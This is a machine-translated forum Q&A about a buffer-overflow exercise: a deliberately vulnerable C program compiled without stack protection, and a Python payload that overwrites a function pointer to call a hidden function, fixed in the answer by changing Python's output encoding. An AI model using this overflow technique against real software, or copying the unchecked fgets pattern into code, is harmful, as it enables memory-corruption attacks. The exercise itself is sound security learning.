缓冲区溢出 - 插入了意外值

Buffer Overflow - unexpected values inserted

我正在尝试使用缓冲区溢出覆盖两个局部变量,以便调用隐藏函数。这是C代码。

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
    puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
    puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
    void (*f_ptr)(void) = visible_function;
    unsigned int dumb_number = 0x12345678;
    char buffer[32];

    printf("Provide buffer input: ");
    fgets(buffer, 64, stdin);

    printf("Dumb number value is 0x%08x.\n", dumb_number);
    printf("Buffer is %s\n", buffer);

    f_ptr();
}

int main(void)
{
    helper_function();

    return 0;
}

这是我使用的 Makefile。

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
    $(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
    -rm -f overflow_ptr.o overflow_ptr
    -rm -f *~

运行 nm overflow_ptr 告诉我隐藏函数的地址如下:

080484a6 t hidden_function

所以我创建了以下负载:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

这应该使 dump_number = 0x87654321 和 f_ptr = 0x080484a6。但是,当我 运行 这个程序的输出是:

Provide buffer input: Dumb number value is 0xc2654321.

这让我想知道为什么要插入 c2?我假设这是某种保护措施。如果是这样,有什么办法可以预防吗? 我正在使用 Ubuntu.

的 64 位虚拟机

您的 Python 可能默认为 UTF-8 input/output encoding rather than ISO-8859-1。您可以通过设置环境变量 PYTHONIOENCODING

来覆盖默认的 Python IO 编码

您可以 运行 overflow_ptr 使用此命令:

echo $(PYTHONIOENCODING="ISO-8859-1" python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")') | ./overflow_ptr

输出应该是:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

我怀疑你的系统是否运行这个命令:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' | od -tx1 -v

输出会是这样的:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

您可能期望的输出是:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

您会注意到,在第一个输出中,所有 >= 0x80 的值都被翻译成多个字节,每个字节都以 0xc2 开头。该字符转换是将意想不到的 c2 引入您的哑数值的原因。


备注:

  • 如果你想避免Python在末尾添加额外的0x0a,你可以告诉print函数通过这样做来消除它:

    print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08",end="")

    通过将 end="" 指定为 print 的参数,您可以消除终止 0x0a(换行)字符。